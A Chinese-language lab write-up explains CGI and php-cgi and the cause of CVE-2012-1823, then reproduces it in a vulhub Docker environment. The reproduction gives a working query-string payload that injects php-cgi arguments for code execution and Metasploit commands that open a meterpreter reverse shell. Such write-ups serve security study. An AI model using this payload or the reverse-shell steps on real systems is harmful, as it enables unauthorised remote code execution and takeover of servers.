首先理解一下CGI的概念:
CGI
CGI 全称是“公共网关接口”(Common Gateway Interface),HTTP
服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。
CGI 可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如 PHP, Perl, Tcl 等。
CGI的作用
CGI是一种根据请求信息动态产生回应内容的技术。
通过CGI,Web服务器可以根据请求不同启动不同的外部程序,并将请求内容转发给该程序,在程序执行结束后,将执行结果作为回应返回给客户端
绝大多数CGI程序被用来解释处理来自表单的输入信息,并在服务器产生相应的处理,或将相应的信息反馈给服务器。CGI程序使网页具有交互功能
CGI处理步骤
- 通过Internet把用户请求送到服务器
- 服务器接收用户请求并交给CGI程序处理
- CGI程序把处理结果传送给服务器
- 服务器把结果送回用户
FastCGI
进程的创建和调度都是有一定小号的,而且进程的数量也不是无限的,基于CGI模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程就可能把服务器挤爆。于是FastCGI在CGI的基础上做了优化,更像是一个常驻型的CGI,它可以一致执行着,只要激活以后就不需要每次都花费时间fork一次
更多资料参考CGI概念及CGI/FastCGI/PHP-CGI/PHP-FPM 概念理解
PHP SAPI 与运行模式
php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。
php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。
漏洞成因
CVE-2012-1823就是php-cgi这个sapi出现的漏洞,本漏洞只出现在cgi模式运行的php中。影响范围 php < 5.3.12 或 php < 5.4.2
这个漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。
于是就导致了php不光可以通过命令行参数的方式传入php-cgi,也可以通过querystring的方式传入。
环境搭建(ubuntu中部署vulhuub环境)
1.安装docker,并用docker -v命令验证(这里已经安装好就不在演示):
curl -s https://get.docker.com/ | sh
或者
sudo apt install docker.io
2. 安装python-pip,并用pip -V命令验证:
sudo apt-get install python-pip
或者
curl -s https://bootstrap.pypa.io/get-pip.py | python
3. 安装docker-compose,并用docker-compose -验证:
pip install docker-compose
4. 将vulhub解压至ubuntu一个路径下:/vulhub-master/ 也可以git下载
git clone https://github.com/vulhub/vulhub.git
5.启动环境
sudo docker-compose up
6. 可以查看正在运行的docker容器
docker ps
本地访问没问题,搭建成功:
漏洞复现
1. 首先看看有哪些可用参数:
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
2. 最简单的利用方式当然是-s查看源码(参数仅在URL中才会被传递给cgi程序):
3.更高级的就是通过-d指定auto_prepend_file来制造任意文件包含漏洞,同时需要将allow_url_include设置为on,执行任意代码(注意空格用+代替,=用%3d代替)
- php://input 可以读取http entity body中指定长度的值,由Content-Length指定长度,不管是POST方式或者GET方法提交过来的数据。但是,一般GET方法提交数据时,http request entity body部分都为空。
- php://input 与$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-data的数据。
?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
使用Metasploit反弹shell
search php_cgi
use exploit/multi/http/php_cgi_arg_injection
set rhosts 目标ip
set rport 8080
set payload php/meterpreter/reverse_tcp
set lhost 攻击ip
参考链接:
https://blog.csdn.net/qq_41901122/article/details/101110162(Ubuntu安装vulhub)
https://paper.seebug.org/297/(PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析)
https://zhuanlan.zhihu.com/p/286302523(CGI概念)
https://jaminzhang.github.io/web/CGI-FastCGI-PHP-CGI-PHP-FPM-Concepts-Understanding/(CGI/FastCGI/PHP-CGI/PHP-FPM 概念理解)